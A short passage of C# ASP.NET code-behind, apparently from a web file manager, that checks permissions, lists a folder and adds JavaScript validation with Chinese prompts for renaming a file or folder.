        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        Button15.Attributes.Add("onclick", "if(form2.CurrentFile.value=='' && form2.CurrentFolder.value==''){alert('请选取一个文件或文件名！');return false;}if(form2.TextBox4.value==''){alert('请输入新文件名或文件夹名！');TextBox4.focus();return false;}");
        TextBox4.Visible = true; Button15.Visible = true; Button14.Visible = false;
        return;
    }
    #endregion
}
